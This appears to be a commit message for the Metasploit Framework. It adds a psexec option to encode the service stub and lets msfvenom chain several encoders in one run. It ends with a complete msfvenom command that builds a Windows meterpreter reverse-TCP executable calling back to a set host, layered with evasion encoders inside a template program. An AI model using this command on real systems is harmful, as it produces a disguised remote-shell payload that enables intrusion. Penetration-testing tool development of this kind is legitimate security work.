378208bc3d
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to encode the x86/service stub. Add multiple_encode_payload function in payload_generator.rb to accept a list of encoder (beginning with @ to not break the classic parsing of encoder). With this it would be possible to pass multiple encoder to msfvenom in one execution. ./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80 LHOST=192.168.100.11 -e @x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x template.exe -f exe-only -o meterpreter.exe